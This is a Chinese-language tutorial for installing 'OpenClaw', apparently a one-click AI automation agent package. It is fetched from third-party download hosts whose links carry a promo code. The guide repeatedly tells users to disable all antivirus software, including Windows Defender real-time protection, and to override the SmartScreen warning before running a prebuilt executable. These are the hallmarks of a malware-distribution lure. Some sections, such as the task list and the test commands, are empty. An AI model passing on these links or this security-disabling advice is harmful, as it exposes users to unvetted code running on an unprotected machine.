OpenClaw v3.1.0 /v2.7.9 双平台部署教程，AI 自动化工具安装实操

OpenClaw 本地 AI 智能体｜一键包快速部署指南，告别复杂环境配置

适配系统：Windows10/11 64 位、macOS12 及以上 当前版本：Windows v3.1.0；macOS v2.7.9 压缩包大小：45.8MB

OpenClaw 集成式安装包采用图形化部署方案，不需要使用命令行操作，不用手动配置 Python、Node.js 等运行环境，所有依赖组件都已经打包内置。整套部署流程大约 5 分钟，新手也可以快速搭建本地 AI 自动化智能体。

Windows 下载地址：https://xiake.yun/api/download/package/28?promoCode=IV4E9B04A80C macOS 下载地址：https://openclaw.ikidi.top/api/download/package/35?promoCode=IV4E9B04A80C

部署前置注意事项（保障安装顺利）

在解压、安装以及启动程序之前，建议关闭电脑上全部安全防护程序，包括 360 安全卫士、腾讯电脑管家、火绒以及 Windows Defender 实时防护。

OpenClaw 具备读写本地文件、模拟键鼠、调用系统能力，这类行为容易被安全软件判定为风险行为，一旦核心文件被隔离删除，就会造成部署失败。项目属于开源项目，可以前往 GitHub 核验程序安全情况。

第一步：获取对应系统的安装压缩包

根据你的设备操作系统，选择对应版本压缩包下载。下载完成后，在浏览器下载目录或者桌面找到压缩包文件。推荐使用浏览器自带下载工具或者迅雷，降低下载中断损坏文件的概率。

第二步：解压程序，启动部署向导并设置安装目录

推荐使用 WinRAR 或者 7-Zip 解压压缩包，系统自带解压工具容易出现文件缺失问题。右键压缩包，选择解压到当前文件夹，生成 Openclaw-win 文件夹。

Windows 用户进入文件夹，双击Openclaw Windows 一键启动.exe，程序图标为红色龙虾标识。如果弹出 Windows SmartScreen 安全拦截窗口，点击更多信息，选择仍要运行。

程序打开后进入欢迎页面，点击底部开始使用，跳转至安装目录选择页面。

⚠️重要提醒：安装目录必须为纯英文路径，禁止包含中文、空格以及￥、& 等特殊符号；不建议安装在 C 盘，避免占用系统盘存储空间。

✅推荐路径示例：D:\\OpenClaw、E:\\AI\\OpenClaw

❌错误路径示例：D:\\工具\\OpenClaw、D:\\大龙虾

勾选同意《用户协议》与《免责声明》，点击开始安装。

第三步：全自动后台部署，无需人工干预

点击开始安装之后，程序自动执行整套部署流程，全程无需手动操作，耗时 3~5 分钟，具体时长取决于电脑硬件性能。部署期间不要关闭窗口，否则会直接中断流程。

自动执行任务清单：

当进度条到达 100%，程序会自动拉起 OpenClaw 主程序界面。

第四步：第一次启动，校验部署状态

安装结束后程序自动进入初始化页面，提示正在等待 Gateway 就绪…。第一次启动需要加载服务初始化，等待 1~3 分钟属于正常现象；后续打开程序仅需数秒。

当界面右上角显示 Gateway 在线，代表部署已经完成。界面区域说明：

• 右上角：Gateway 运行状态、重启控件、日志入口、剩余 Tokens 额度；
• 左侧面板：本地、渠道切换栏，支持新建对话，查看历史会话；
• 中间区域：对话窗口，内置 AI 智能助手，支持多模型切换、代码语法高亮；
• 底部输入框：自然语言指令输入区域，Enter 发送消息，Shift+Enter 换行，支持自动 / 普通模式切换。

第五步：输入自然语言指令，测试自动化能力

部署完成后无需额外配置，直接在底部输入框输入指令，OpenClaw 会自动拆解任务，调用工具操控电脑执行操作。指令描述越详细，执行效果越稳定。

可以复制下面测试指令快速验证功能：

常见故障排查

安装失败、程序启动无响应

确认所有安全防护软件已经关闭；关闭防护后依旧异常，重新解压压缩包再次执行安装流程。

Gateway 持续离线

网络报错提示

第一次初始化需要网络加载部分依赖资源，保证网络正常，关闭代理、VPN 工具后重试。

Tokens 额度不足提示

内置 Tokens 额度可以体验基础功能，额度消耗后可在界面进行补充，不会影响工具核心自动化能力。

输入框无法输入、消息发送失败

等待 Gateway 初始化完成，确认状态为在线再操作；问题依旧，重新执行安装流程。

使用小提示

📌相关版本下载地址

• Windows v3.1.0：https://xiake.yun/api/download/package/28?promoCode=IV4E9B04A80C
• macOS v2.7.9：https://openclaw.ikidi.top/api/download/package/35?promoCode=IV4E9B04A80C

教程会持续更新，后续会补充技能扩展、本地大模型接入、多渠道联动配置相关内容。